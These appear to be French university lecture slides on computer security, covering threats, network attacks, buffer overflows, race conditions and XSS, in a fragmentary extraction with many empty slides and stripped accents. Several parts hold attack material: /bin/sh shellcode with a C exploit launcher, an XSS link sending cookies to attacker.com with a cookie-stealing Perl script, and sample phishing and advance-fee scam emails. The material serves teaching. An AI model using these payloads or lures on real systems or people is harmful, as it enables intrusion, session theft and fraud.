Securite
Securite
Securite
Informatique
Patrick Ducrot
[email protected]
http://www.ducrot.org/securite.pdf
Plan du document
Gnralits 3
Les menaces 37
Vulnrabilits du rseau 72
Vulnrabilits applicatives 111
Les outils d'attaque/dfense 169
Chiffrement, tunnels et vpn 222
Firewall 241
Les honeypots 257
WiFi et scurit 263
Conseils et conclusion277
15/10/2014
- ENSICAEN -
(c) dp
Gnralits
15/10/2014
- ENSICAEN -
(c) dp
Systme informatique
15/10/2014
- ENSICAEN -
(c) dp
- ENSICAEN -
(c) dp
Virus
Intgrit
Disponibilit
RESEAU
Attaques rseau
Confidentialit (coute)
Intgrit (modification paquets)
Disponibilit (saturation)
15/10/2014
- ENSICAEN -
Rayonnements
confidentialit
(c) dp
15/10/2014
- ENSICAEN -
(c) dp
Objectifs de la scurit
informatique
Quelques objectifs garantir:
intgrit
confidentialit
Disponibilit
Authentification
Non rpudiation
15/10/2014
- ENSICAEN -
(c) dp
- ENSICAEN -
(c) dp
Vocabulaire:
script kiddies
hacktiviste
LulzSec
hackers
15/10/2014
white hats
black hats
grey hats
cracker
carder
phreaker
- ENSICAEN -
(c) dp
10
Phnomnes techniques
Explosion de la technologie des transferts de
donnes (comme par exemple le cloud
computing )
Grande complexit des architectures de
systmes.
Ouverture (pas toujours matrise) des
rseaux de communication
15/10/2014
- ENSICAEN -
(c) dp
11
Phnomnes organisationnels
Besoin de plus en plus d'informations
Grande diversit dans la nature des
informations:
donnes financires
donnes techniques
donnes mdicales
- ENSICAEN -
(c) dp
12
- ENSICAEN -
(c) dp
13
Les botnets
La notion de botnet date des premiers rseaux irc (dbut des annes 1990).
Serveurs irc
Serveurs web
Requtes DNS
Messageries instantanes
Peer to Peer
Skype
15/10/2014
- ENSICAEN -
(c) dp
14
Les botnets
Estimation: une machine sur quatre fait partie dun botnet, soit environ 154 millions de machines (Vinton
Cerf Davos en janvier 2007).
15/10/2014
- ENSICAEN -
(c) dp
15
Botnet irc
15/10/2014
- ENSICAEN -
(c) dp
16
Botnet p2p
15/10/2014
- ENSICAEN -
(c) dp
17
Vengeance/rancune
Politique/religion
Dfis intellectuels
15/10/2014
- ENSICAEN -
(c) dp
18
- ENSICAEN -
(c) dp
19
Utilisateurs
Lgislation
Logiciels
Matriel
Stratgie de scurit
Contrats
15/10/2014
Rseaux
- ENSICAEN -
(c) dp
20
Niveaux de scurisation
Sensibilisation des utilisateurs aux problmes de
scurit.
Scurisation des donnes, des applications, des
systmes d'exploitation.
Scurisation des tlcommunications.
Scurisation physiques du matriel et des accs.
15/10/2014
- ENSICAEN -
(c) dp
21
Politique de scurit
Compromis fonctionnalit - scurit.
Identifier les risques et leurs consquences.
Elaborer des rgles et des procdures mettre en uvre pour
les risques identifis.
Surveillance et veille technologique sur les vulnrabilits
dcouvertes.
Actions entreprendre et personnes contacter en cas de
dtection d'un problme.
15/10/2014
- ENSICAEN -
(c) dp
22
Mise en uvre
Audit
Tests d'intrusion
Dtection d'incidents
Ractions
Restauration
15/10/2014
- ENSICAEN -
(c) dp
23
Quelques mthodes
EBIOS (Expressions des Besoins et Identification des
Objectifs de Scurit)
http://www.ssi.gouv.fr/fr/confiance/ebios.html
15/10/2014
- ENSICAEN -
(c) dp
24
Planifier
Mettre en uvre
Amliorer
Vrifier
15/10/2014
- ENSICAEN -
(c) dp
25
15/10/2014
- ENSICAEN -
(c) dp
26
Application PSSI
Eviter ceci:
15/10/2014
- ENSICAEN -
(c) dp
27
15/10/2014
- ENSICAEN -
(c) dp
28
PRA / PCA
15/10/2014
- ENSICAEN -
(c) dp
29
PRA / PCA
15/10/2014
- ENSICAEN -
(c) dp
30
RTO
t1 + t2 + t3 + t4 < RTO
15/10/2014
- ENSICAEN -
(c) dp
31
RPO
Le RPO quantifie les donnes que lon peut tre amen perdre suite un
incident.
Les donnes perdues pourront tre rcupres partir dune sauvegarde, dune
rplication, dun journal de transaction,
Des sauvegardes rgulires peuvent suffire dans le cas dun RPO lev. Pour
un RPO faible, des mcanismes tels que la rplication synchrone doivent tre
mis en place.
15/10/2014
- ENSICAEN -
(c) dp
32
Mthodologie
Primtre du projet
Cahier des charges (fonctions prioritaires, niveau de service, ..)
Analyse (tat de lexistant, criticit des services)
Phase dorientation (hirarchisation de la criticit des systmes,
sauvegarde des donnes critiques, )
Proposition de solutions et darchitectures
Validation
Maquettage et tests si ncessaire
Mise en uvre
Tests et recettes (toujours penser au pire, tablir la documentation et
les procdures, )
15/10/2014
- ENSICAEN -
(c) dp
33
Quelques lments de
technique
Sur les serveurs:
- ENSICAEN -
(c) dp
34
La virtualisation
Quelques avantages:
Optimiser l'usage des ressources d'une machine tout en isolant les services entre
eux.
Optimisation du taux dutilisation des ressources informatiques
Economie dnergie ( green computing )
Gain conomique et dencombrement
Possibilit de cloner et/ou de dplacer des machines
Quelques risques
Une panne ou une indisponibilit dune ressource commune peut bloquer tous les
services hbergs.
En fonction de la solution virtualisation, un manque de cloisonnement peut
engendrer une fuite dinformations.
Risque de copie non souhaite de machine virtuelle
15/10/2014
- ENSICAEN -
(c) dp
35
Plan de sauvegarde
Types de sauvegardes:
Sauvegarde complte
Tout est sauvegard
Sauvegarde diffrentielle
Sauvegarde des fichiers modifis depuis la dernire sauvegarde complte. La
restauration devra rcuprer la sauvegarde complte et la dernire sauvegarde
diffrentielle.
Sauvegarde incrmentale
Sauvegarde des fichiers depuis la dernire sauvegarde. La restauration devra
rcuprer la dernire sauvegarde complte et toutes les sauvegardes
incrmentales.
Dfinir
La priodicit des sauvegardes
La dure de rtention des sauvegardes
Un lieu de stockage des sauvegardes
15/10/2014
- ENSICAEN -
(c) dp
36
Les menaces
15/10/2014
- ENSICAEN -
(c) dp
37
Techniques d'attaques
Social Engineering
MICE (Money, Ideology, Compromise, Ego)
Dumpster diving
Shoulder surfing
Sniffing
Scannings
etc.
15/10/2014
- ENSICAEN -
(c) dp
38
Exemple de social
engineering
Kevin Mitnick
3 livres, 1 film
(Cybertraque).
Piratage des rseaux
tlphoniques.
Attaque des machines
de Tsumotu Shimomura
au San Diego
Supercomputing Center.
5 ans de prison et sous
interdiction dutiliser des
ordinateurs.
15/10/2014
- ENSICAEN -
(c) dp
39
Dissimulation d'informations
L'information peut tre dissimule dans un
but de protection (mot de passe, ) ou dans
des buts moins lgaux.
Diffrentes mthodes pour s'changer de
l'information de manire sre:
chiffrement (symtrique,asymtrique)
stganographie
- ENSICAEN -
(c) dp
40
Stganographie
Procd ancien de dissimulation d'informations sensibles
parmi d'autres informations moins importantes.
Exemple: correspondance attribue George Sand et Alfred
de Musset:
Quand je mets vos pieds un ternel hommage,
Voulez-vous qu'un instant je change de visage ?
Vous avez captur les sentiments d'un coeur
Que pour vous adorer forma le crateur.
Je vous chris, amour, et ma plume en dlire
Couche sur le papier ce que je n'ose dire.
Avec soin de mes vers lisez les premiers mots,
Vous saurez quel remde apporter mes maux.
15/10/2014
- ENSICAEN -
(c) dp
41
Stganographie
Moyens modernes: dissimuler de linformation
dans des fichiers graphiques, sons, vidos.
Cas particulier du watermarking.
15/10/2014
- ENSICAEN -
(c) dp
42
Menaces actives
Panne, mauvaise utilisation, pertes d'informations
Contamination (virus, vers, spyware)
Spam, phishing
Chevaux de troie (backdoors)
Dnis de services
Intrusions
Bombes logiques
Menaces passives
coute des lignes
Analyse de trafic
Source: rapport PandaLabs 2012
15/10/2014
- ENSICAEN -
(c) dp
43
Virus
Portion de code inoffensive ou destructrice capable de se
reproduire et de se propager.
Diffrents types de virus:
Virus boot
Virus dissimul dans les excutables
Macro virus
Diffrentes contaminations possibles:
change de disquettes
Pices jointes au courrier lectronique
Excutables rcuprs sur Internet
etc.
15/10/2014
- ENSICAEN -
(c) dp
44
Vers
Proches des virus mais capables de se propager sur d'autres
ordinateurs travers le rseau.
Un moyen courant de propagation: le carnet d'adresses
d'outlook (ex: "I Love you": dni de service sur les serveurs
web).
Quelques exemples:
Code Red (utilisation d'une faille des serveurs IIS et
dfiguration des sites)
Blaster (utilisation d'une faille du protocole windows DCM
RPC)
15/10/2014
- ENSICAEN -
(c) dp
45
15/10/2014
- ENSICAEN -
(c) dp
46
http://windows7news.com/2010/02/25/operation-b49-waledac-botnet-take-down/
15/10/2014
- ENSICAEN -
(c) dp
47
Chevaux de troie
Trs rpandu (exemples: attaque du ministre de lconomie et
des finances rendu public en dcembre 2010, attaque contre
AREVA rendu public le 29 septembre 2011, infections par des
vulnrabilits dInternet Explorer en septembre 2012, )
Quelques exemples anciens de chevaux de Troie:
Back Orifice
Permet de l administration distance.
Sockets23 (Socket de Troie)
Signalait la prsence des ordinateurs infects sur des
serveurs de discussion en direct de type irc.
15/10/2014
- ENSICAEN -
(c) dp
48
Les spywares
15/10/2014
- ENSICAEN -
(c) dp
49
15/10/2014
- ENSICAEN -
(c) dp
50
Dtection de spyware
Fentres "popup" intempestive.
Page d'accueil du navigateur modifie.
Apparitions d'icnes sur le bureau.
Dsactivation des outils de scurit locaux.
Connexions rcurrentes et/ou nocturnes.
Tlchargements suspects.
Connexions vers des sites non rfrencs dans un
dns.
Connexions vers des sites .ru .cc .tw .cn
15/10/2014
- ENSICAEN -
(c) dp
51
XoftSpy :
http://www.paretologic.com/xoftspy/lp/14/
NoAdware:
http://www.noadware.net/new3/?hop=comparets
Anonymizer's Anti-Spyware
http://www.zonelabs.com
Et bien d'autres
15/10/2014
http://www.spybot.info/fr
http://www.microsoft.com/downloads
- ENSICAEN -
(c) dp
52
- ENSICAEN -
(c) dp
53
SPAM
15/10/2014
- ENSICAEN -
(c) dp
54
6500 nouvelles pages webs associes au spam dcouvertes chaque jour (1 page toutes les
13 secondes).
15/10/2014
- ENSICAEN -
(c) dp
55
Ne rien acheter par lintermdiaire de publicit faite par un spam (des tudes
indiquent que 29% des utilisateurs le font).
Ne pas mettre dadresses lectroniques sur les sites webs mais les encoder par
un script ou dans une image (exemple: http://www.caspam.org); voir transparent
suivant.
15/10/2014
- ENSICAEN -
(c) dp
56
<HTML>
Laisser un message
<script type="text/javascript">
//<![CDATA[
var d="";for(var i=0;i<359;i++)d+=String.fromCharCode(("%o!.rK00It}!6%o!.wK>IwJ@DDIw997r9Ka#!w|u<t!}
{Qvo!Q}rs660)4(:2*39R<7.9*LK`&D/-7*+aFFD4324/:/8*4;*7aF9-.8R-7*+a!K2&.1/94^KR7*j51&(*LS/
S,PFFMOw97.3,R+742g-&7g4)*LUTTPUUVMO FdF\" T\"OK*38.(b&*bb3bKR7*j51&(*LSbS,P FF\" T\"MO FRF\"
T\"Ow97.3,R+742g-&7g4)*LUTVPUYWQW]MOK!KFD4324:8*4T:9aF9-.8R-T7T*+a!K!KFTb.
(.`S&bKR7*j51&(*LSTS,P FF\" T\"MM0<qvo!Q}rsO#6w79B?73GC9A@7Is%oz6r7".charCodeAt(i)
+49)%95+32);eval(d)
//]]>
</script>
</HTML>
15/10/2014
- ENSICAEN -
(c) dp
57
Adresse jetable
15/10/2014
- ENSICAEN -
(c) dp
58
Protection dlicate: la frontire entre un courriel et un pourriel nest pas toujours franche et il
ne faut pas rejeter des courriers rels.
Un serveur de courrier doit tre bien configur (en particulier, pas dOpen Relay ).
15/10/2014
- ENSICAEN -
(c) dp
59
15/10/2014
- ENSICAEN -
(c) dp
60
Phishing
15/10/2014
- ENSICAEN -
(c) dp
61
Exemples de cible de
phishing
Visa
eBay
Citibank
PayPal
Banques
15/10/2014
- ENSICAEN -
(c) dp
62
Exemple phishing
Dear valued PayPal member:
Due to concerns, for the safety and integrity of the paypal
account we have issued this warning message.
It has come to our attention that your PayPal account information needs to be
updated as part of our continuing commitment to protect your account and to
reduce the instance of fraud on our website. If you could please take 5-10 minutes
out of your online experience and update your personal records you will not run into
any future problems with the online service.
However, failure to update your records will result in account suspension.
Please update your records on or before Oct 04, 2005.
Once you have updated your account records your paypal account
service will not be interrupted and will continue as normal.
To update your PayPal records click on the following link:
http://www.paypal.com/cgi-bin/webscr?cmd=_login-run
Thank You.
PayPal UPDATE TEAM
http://209.133.49.211/icons/cgi-bin/login.html
15/10/2014
- ENSICAEN -
(c) dp
63
15/10/2014
- ENSICAEN -
(c) dp
64
15/10/2014
- ENSICAEN -
(c) dp
65
15/10/2014
- ENSICAEN -
(c) dp
66
15/10/2014
- ENSICAEN -
(c) dp
67
15/10/2014
- ENSICAEN -
(c) dp
68
Le "scam"
Pratique frauduleuse d'origine africaine
("ruse") pour extorquer des fonds des
internautes.
Rception d'un courrier lectronique du
descendant d'un riche africain dcd dont il
faut transfrer les fonds.
Connue aussi sous le nom de 419 en
rfrence l'article du code pnal nigrian
rprimant ce type d'arnaque.
15/10/2014
- ENSICAEN -
(c) dp
69
Exemple de "scam"
Objet: ASSISTANCE
GEORGES TRAORE ABIDJAN,CTE D'IVOIRE. AFRIQUE DE L'OUEST.
Bonjour,
Je vous prie de bien vouloir excuser cette intrusion qui peut paratre surprenante premire vue d'autant qu'il
n'existe
aucune relation entre nous. Je voudrais avec votre accord vous prsenter ma situation et vous proposer une
affaire qui
pourrait vous intresser. Je me nomme Georges TRAORE, j'ai 22 ans et le seul fils de mon Pre Honorable
RICHARD
ANDERSON TRAORE qui tait un homme trs riche, ngociant de Caf/Cacao bas Abidjan la Capitale
Economique de la Cte d'Ivoire, empoisonn rcemment par ses associs. Aprs la mort de ma mre le 21
Octobre 2000,
mon pre m'as pris spcialement avec lui. Le 24 Dcembre 2003 est survenu le dcs de mon pre dans une
clinique
prive (LAMADONE) Abidjan. Avant sa mort, secrtement, il m'a dit qu'il a dpos une somme d'un montant
de
($8,500,000) Huit Millions Cinq Cent Mille Dollars Amricains dans une valise dans une Compagnie de Scurit
Financire en mon nom comme hritier. En outre, il m'a dit que c'est par rapport cette richesse qu'il a t
empoisonn
par ses associs. Il me recommande aussi de chercher un associ tranger qui pourrait honntement me faire
bnficier
de son assistance pour sauver ma vie et assurer mon existence. - Changement de bnficaire ;
-
Servir de gardien ;
-
- Fournir un compte pour le transfert de fonds ;
-
- M'aider le rejoindre dans son pays ;
-
- Investir dans un domaine profitable.
D'ailleurs, je vous donnerai 25 % et 5% serviront aux dpenses ventuelles qui seront effectues.
.
15/10/2014
- ENSICAEN -
(c) dp
70
Perte de donnes
Perte de temps de travail
Perte dimage de marque
Perte de fonctionnalits (systme ou
email bloqus)
Perte de confidentialit
15/10/2014
- ENSICAEN -
(c) dp
71
Vulnrabilits des
rseaux
15/10/2014
- ENSICAEN -
(c) dp
72
15/10/2014
- ENSICAEN -
(c) dp
73
Rappel : Entte IP
32 bits
Version IHL
Type Service
Flags
Identification
TTL
Longueur Totale
Protocole
Dcalage Fragment
Contrle entte
Adresse Source
Adresse Destination
Remplissage
Options
15/10/2014
- ENSICAEN -
(c) dp
74
Port source
Longueur UDP
15/10/2014
- ENSICAEN -
Port destination
Total de contrle UDP
(c) dp
75
Port source
Port destination
Numro de squence
Numro d'acquittement
Long
entte
TCP
U A P R
R C S S
G K H T
Total de contrle
S F
Y I
N N
Taille de la fentre
Pointeur d'urgence
15/10/2014
- ENSICAEN -
(c) dp
76
15/10/2014
- ENSICAEN -
(c) dp
77
Sniffer
Outil de base indispensable.
Permet de visualiser les trames sur un
segment de rseau.
Ncessite des droits administrateurs.
Attention au problme juridique
Utilise des sockets en mode promiscuous
socket (AF_INET,SOCK_RAW,IPPROTO_RAW)
15/10/2014
- ENSICAEN -
(c) dp
78
Sniffer
Beaucoup de logiciels sniffers existants.
Liste sur http://packetstormsecurity.org/
sniffers
Le sniffer de base pour unix: tcpdump
Disponible sur http://www.tcpdump.org.
Grammaire trs volue.
Affiche les enttes de paquets rpondant au
critre spcifi.
15/10/2014
- ENSICAEN -
(c) dp
79
Sniffer multiplateformes
wireshark (http://www.wireshark.org)
Interprtation de
plusieurs centaines
de protocoles
applicatifs
15/10/2014
- ENSICAEN -
(c) dp
80
15/10/2014
- ENSICAEN -
(c) dp
81
IP Spoofing
Mthode d'attaque qui parodie l'adresse IP d'un
autre ordinateur (usurpation).
Permet de brouiller les pistes ou d'obtenir un
accs des systmes sur lesquels
l'authentification est fonde sur l'adresse IP
(rlogin, rsh sur les machines numro de
squence TCP prvisible).
15/10/2014
- ENSICAEN -
(c) dp
82
Usurpation d'identit
- ENSICAEN -
(c) dp
83
Exemples danciennes
attaques sur la pile IP
Malversations sur la fragmentation IP
Scinder une demande de connexion sur 2 fragments
Faire chevaucher 2 fragments IP (teardrop)
Adresses IP source et destinations identiques (land)
Ping de la mort (Ping Death,
http://www.insecure.org/sploits/ping-o-death.html)
UDP Flood
15/10/2014
- ENSICAEN -
(c) dp
84
15/10/2014
- ENSICAEN -
(c) dp
85
15/10/2014
- ENSICAEN -
(c) dp
86
- ENSICAEN -
(c) dp
87
- ENSICAEN -
(c) dp
88
- ENSICAEN -
(c) dp
89
- ENSICAEN -
(c) dp
90
DDoS
15/10/2014
- ENSICAEN -
(c) dp
91
Scnario d un DDoS
15/10/2014
- ENSICAEN -
(c) dp
92
15/10/2014
- ENSICAEN -
(c) dp
93
- ENSICAEN -
(c) dp
94
Exemples DDoS
Serveurs DNS de la compagnie Akamai attaqu le 16 juin 2004 (sites Microsoft, Google,
Yahoo, fedEx, Xerox, Apple injoignables pendant une courte priode).
Mastercard, PayPal, EveryDNS, Swiss Bank PostFinances en dcembre 2010 par les
Anonymous
15/10/2014
- ENSICAEN -
(c) dp
95
Exemples DDOS
Et tant dautres.
- ENSICAEN -
(c) dp
96
15/10/2014
- ENSICAEN -
(c) dp
97
Fvrier 2014: attaque via les serveurs NTP (UDP/123) a atteint une
amplitude de 400 Gbps.
Source: http://blog.cloudflare.com/technical-details-behind-a-400gbps-ntp-amplification-ddos-attack
15/10/2014
- ENSICAEN -
(c) dp
98
arp spoofing
Pollution des caches arp avec de fausses associations adresse
mac/adresse IP.
Permet des attaques de type "man in the middle", DOS,
transgression des rgles d'un firewall par spoofing.
arp-reply
192.168.16.10
192.168.16.10
00:50:04:47:5F:5F
15/10/2014
- ENSICAEN -
(c) dp
99
arp spoofing
Exemple d'outil d'arp spoofing:
arp-sk (linux)
Cain & Abel (Windows)
15/10/2014
- ENSICAEN -
(c) dp
100
Applications du arp-spoofing
Ecouter le rseau local
Initier une attaque man in the middle pour les sessions
hybrides http/https
intrus
Arp spoofing
Arp spoofing
Interception et Interprtation
du flux http, remplacement
des balises https par http
Site web
Utilisateur -> site web
15/10/2014
- ENSICAEN -
(c) dp
101
http://
www.securityfocus.com/data/tools/warpwatch.zip
15/10/2014
- ENSICAEN -
(c) dp
102
tcp hijacking
15/10/2014
- ENSICAEN -
(c) dp
103
tcp hijacking
Numros de squence TCP pendant les
changes:
Ut1 Seq x PSH/ACK y (10) Ut2
Ut1 Seq y PSH/ACK x+10 (20) Ut2
Ut1 Seq x+10 PSH/ACK y+20 (30) Ut2
Ut1 Seq y+20 PSH/ACK x+40 (10) Ut2
Pirate Seq x+40 PSH/ACK y+20 (30) Ut2
Ut1 Seq y+30 PSH/ACK x+70 (20) Ut2
104
Smurf
Attaque du type DRDOS (Distributed Reflective
Denial Of Service).
Envoie d'une trame ICMP "echo request" sur une
adresse de diffusion.
Exemple: ping 193.49.200.255
Mthode utilise pour dterminer les machines
actives sur une plage IP donne.
15/10/2014
- ENSICAEN -
(c) dp
105
Attaque en Smurf
15/10/2014
- ENSICAEN -
(c) dp
106
Parades au smurf
Interdire la rponse aux trames ICMP
sur les adresses de diffusion:
Au niveau routeur
Au niveau machine
15/10/2014
- ENSICAEN -
(c) dp
107
cache poisoning
15/10/2014
- ENSICAEN -
(c) dp
108
Exemple: BIND
Vulnrabilit dcouverte en juillet 2007 touchant de
nombreuses versions de BIND (CVE-2007-2926 ,
BID-25037).
Description du CERTA:
"Une
- ENSICAEN -
(c) dp
109
15/10/2014
- ENSICAEN -
(c) dp
110
Vulnrabilits
applicatives
15/10/2014
- ENSICAEN -
(c) dp
111
Vulnrabilits applicatives
Beaucoup d'applications sont vulnrables dues de
la mauvaise programmation (par manque de temps,
de motivation, ) ou volontairement (amnagement
d'un point d'entre, ).
Toutes les applications ont besoin de scurit:
services rseaux (daemons), les applications
tlcharges (applet java, ), les applications web
(scripts cgi, ), les applications utilises par
l'administrateur ou disposant d'un bit setuid/setgid,
visualisateur de donnes distantes, et finalement
probablement toutes les applications
15/10/2014
- ENSICAEN -
(c) dp
112
- ENSICAEN -
(c) dp
113
15/10/2014
(c) dp
114
Buffer Overflow
Appele aussi "buffer overruns"; c'est
une vulnrabilit extrmement tendue
(environ 2/3 des vulnrabilits).
criture de donnes en dehors de la
zone alloue (pile ou tas).
15/10/2014
- ENSICAEN -
(c) dp
115
- ENSICAEN -
(c) dp
116
Buffer Overflow
Si le buffer est une variable C locale, on pourra
essayer de forcer la fonction excuter du code
pirate ("stack smashing attack").
Beaucoup d'applications crites en langage C sont
vulnrables car la simplicit et l'efficacit de ce
langage ont prvalu sur les contrles d'intgrit
laisss la responsabilit du programmeur. Mais le
problme existe galement dans d'autres langages
de programmation.
15/10/2014
- ENSICAEN -
(c) dp
117
Storage file
heap
symbol table
bss
data initialized
data initialized
text
text
linker header &
magic number
Process in memory
15/10/2014
- ENSICAEN -
(c) dp
118
- ENSICAEN -
(c) dp
119
.align 4
.globl function
.type function,@function
function:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
.L1:
leave
ret
.Lfe1:
.size function,.Lfe1-function
.align 4
.globl main
.type main,@function
15/10/2014
- ENSICAEN -
main:
pushl %ebp
movl %esp,%ebp
pushl $3
pushl $2
pushl $1
call function
addl $12,%esp
.L2:
leave
ret
(c) dp
120
15/10/2014
- ENSICAEN -
(c) dp
121
Code Shell
Le buffer overflow va tre utilis pour
provoquer l'excution de /bin/sh, shell prsent
dans toutes les distributions unix.
Gnration du code assembleur de la
squence: execve (argv[0],"/bin/sh",NULL)
Exemple code Linux x86:
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
15/10/2014
- ENSICAEN -
(c) dp
122
- ENSICAEN -
(c) dp
123
Exemple Buffer/Overflow/
Code Shell
ret (4)
strcpy overflow
sfp (4)
long_ptr (4)
i (4)
buffer (96)
large_string (128)
shellcode
15/10/2014
- ENSICAEN -
(c) dp
124
Stack Smashing
Dans la ralit, les applications ne
comportent naturellement pas de squence
shell.
L'exploitation d'un "buffer overflow" ncessite
d'essaye de piger l'application avec la ligne
de commande, les variables d'environnement
shell, les entres de donnes interactives,
15/10/2014
- ENSICAEN -
(c) dp
125
Exemple dapplication
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa
\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"\xff\xff/bin/
sh";
void main ()
{
char buffer [128] ; int i ; long address = (long)&buffer ;
for (i = 0 ; i < 128 ; i++) buffer [i] = 0x90 ;
buffer [12] = address >> 0 & 0xff ; buffer [13] = address >> 8 & 0xff ;
buffer [14] = address >> 16 & 0xff ; buffer [15] = address >> 24 & 0xff ;
for (i = 0 ; i < strlen (shellcode) ; i++)
buffer [128 - strlen (shellcode) + i] = shellcode [i] ;
execl ("/users/dp/bufferoverflow/demo","demo",buffer,0) ;
}
-rws--x--x 1 root
15/10/2014
root
- ENSICAEN -
(c) dp
126
15/10/2014
gets (str)
fgets (stdin,str,10)
strcpy (str1,str2)
strncpy (str1,str2,10)
strcat (str1,str2)
strncat (str1,str2,10)
scanf ("%s",str)
scanf ("%10s",str)
- ENSICAEN -
(c) dp
127
- ENSICAEN -
(c) dp
128
Exemple stackguard
sfp
ret
canary
buffer
En cas dattaque
on crase le buffer, canary et
ret
avant le retour de la fonction,
le programme vrifie le
contenu de canary et dtecte
lintrusion
Le canary doit tre gnr
alatoirement.
15/10/2014
- ENSICAEN -
(c) dp
129
Exemple de vulnrabilit
15/10/2014
- ENSICAEN -
(c) dp
130
Exemple de vulnrabilit:
heartbleed
Impacte la bibiliothque OpenSSL
Faille prsente depuis le 14 mars 2012 (release 1.0.1) et rendue
publique le 7 avril 2014 par la socit Codenomicon.
Vulnrabilit de type buffer over-read
Le client demande au serveur de lui retourner une chaine en
spcifiant la taille de la chaine. Cette dernire ntait pas vrifie
par le serveur.
15/10/2014
- ENSICAEN -
(c) dp
131
(c) dp
132
Chanes de format
Problme connu depuis juin 1999 et exploit
depuis juin 2000.
Leur exploitation ont conduit des
vulnrabilits "remote root" (wu-ftpd, linux
tpc.statd, ) et "local root" (OpenBSD fstat,
)
De nombreuses vulnrabilits sont
probablement encore venir.
15/10/2014
- ENSICAEN -
(c) dp
133
Fonctions C de formatage
Exemples de telles fonctions: toute la famille
des fonctions printf, syslog.
Fonctions acceptant un nombre variable de
paramtres dont l'un est une chane de
format.
Les variables affiches sont converties en
une reprsentation affichable et
comprhensible par l'homme.
15/10/2014
- ENSICAEN -
(c) dp
134
- ENSICAEN -
(c) dp
135
- ENSICAEN -
(c) dp
136
- ENSICAEN -
(c) dp
137
- ENSICAEN -
(c) dp
138
Exemple de vulnrabilit
15/10/2014
- ENSICAEN -
(c) dp
139
Race Condition
Toute ressource (fichiers, structure de
donnes, ) peut tre manipule
simultanment par plusieurs processus ou
plusieurs threads.
Certaines oprations doivent donc tre
rendues atomiques.
Les droits d'accs doivent tre trs prcis.
Exemple: quel est danger du programme sur
le transparent suivant, sachant que
l'excutable appartient "root" et possde le
SetUser ID (bit s) ?
15/10/2014
- ENSICAEN -
(c) dp
140
Race Condition
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int main (int argc,char **argv)
{
struct stat st ;
FILE *fp ;
if (argc != 3)
{ fprintf (stderr,"usage : %s fichier message\n", argv [0]) ; exit (EXIT_FAILURE) ;}
if (stat (argv [1], &st) < 0)
{fprintf (stderr,"%s introuvable\n",argv [1]) ;exit (EXIT_FAILURE) ;}
if (st.st_uid != getuid ())
{fprintf (stderr,"%s ne vous appartient pas !\n", argv [1]) ;exit (EXIT_FAILURE) ;}
if (! S_ISREG (st.st_mode))
{fprintf (stderr,"%s n'est pas un fichier normal\n", argv [1]) ;exit (EXIT_FAILURE) ;}
if ( (fp = fopen (argv [1],"w")) == NULL)
{fprintf (stderr,"Ouverture impossible\n") ;exit (EXIT_FAILURE) ;}
fprintf (fp,"%s\n",argv [2]) ;fclose (fp) ;fprintf (stderr,"Ecriture OK\n") ;
exit (EXIT_SUCCESS) ;
}
15/10/2014
- ENSICAEN -
(c) dp
141
Fonctions utiliser
Il faut conserver la totale matrise d'un fichier lors de
sa manipulation d'un fichier.
Quelques exemples de fonctions utilisables:
int open (pathname,flag,mode)
15/10/2014
- ENSICAEN -
(c) dp
142
Fichiers temporaires
Les applications crent des fichiers
temporaires dans /tmp
drwxrwxrwt 6 root root
1024 Sep 29 15:01 /
tmp
Problme quand le nom du fichier temporaire est
prvisible et cr par une application root suid:
Cration d'un lien symbolique entre ce fichier et un
fichier systme critique (/etc/shadow par exemple)
L'application doit tre ensuite tue pour qu'elle ne
puisse effacer son fichier temporaire.
15/10/2014
- ENSICAEN -
(c) dp
143
- ENSICAEN -
(c) dp
144
Fichiers temporaires
Cration d'un rpertoire dans un rpertoire
disposant d'un bit "t" (sticky bit):
Nom de fichier alatoire.
Fichier ouvert avec les droits O_CREAT|O_EXCL
(attention aux disques NFS avec O_EXCL).
- ENSICAEN -
(c) dp
145
- ENSICAEN -
(c) dp
146
Exemple de vulnrabilit
15/10/2014
- ENSICAEN -
(c) dp
147
- ENSICAEN -
(c) dp
148
- ENSICAEN -
(c) dp
149
Etude de cas
Microsoft IIS 4.0 et 5.0 tait vulnrable au problme: "MS IIS/
PWS Escaped Characters Decoding Command Execution
Vulnrability".
Dtail sur
http://www.securityfocus.com/cgi-bin/vulns-item.pl?
section=discussion&id=2708
Correctif sur
http://www.microsoft.com/technet/security/bulletin/
MS01-026.asp
15/10/2014
- ENSICAEN -
(c) dp
150
15/10/2014
- ENSICAEN -
(c) dp
151
Exemples d'attaque
15/10/2014
- ENSICAEN -
(c) dp
152
- ENSICAEN -
(c) dp
153
15/10/2014
- ENSICAEN -
(c) dp
154
Pourquoi ce nom :
Attaque base sur lexcution de scripts dans le
navigateur de la victime (javascript, vbscript, ).
La victime passe dun site lautre sans sen
apercevoir.
Lacronyme XSS:
CSS : Cascading Style Sheet
XSS : Cross Site Scripting (excution croise de
code).
15/10/2014
- ENSICAEN -
(c) dp
155
Intrt de XSS
http est un protocole sans notion de session: pas de
lien entre les requtes reues par le serveur.
Une session doit tre construite artificiellement:
Par un cookie envoy au navigateur
Par manipulation dURL contenant un identifiant
Par des paramtres dun programme
Etc.
15/10/2014
- ENSICAEN -
(c) dp
156
Exemple dattaque
15/10/2014
- ENSICAEN -
(c) dp
157
- ENSICAEN -
(c) dp
158
<html>
<a href="http://www.vulnerable.com/
var=<script>document.location.replace(http://
attacker.com/steal.cgi?+document.cookie);</
script>">
cliquer ici pour recevoir 50 euros
</a>
</html>
15/10/2014
- ENSICAEN -
(c) dp
159
Script steal.cgi
#!/usr/bin/perl
# steal.cgi by David Endler [email protected]
# Specific to your system
$mailprog = '/usr/sbin/sendmail';
# create a log file of cookies, well also email them too
open(COOKIES,>>stolen_cookie_file);
# what the victim sees, customize as needed
print "Content-type:text/html\n\n";
print <<EndOfHTML;
<html><head><title>Cookie Stealing</title></head>
<body>
Your Cookie has been stolen. Thank you.
</body></html>
EndOfHTML
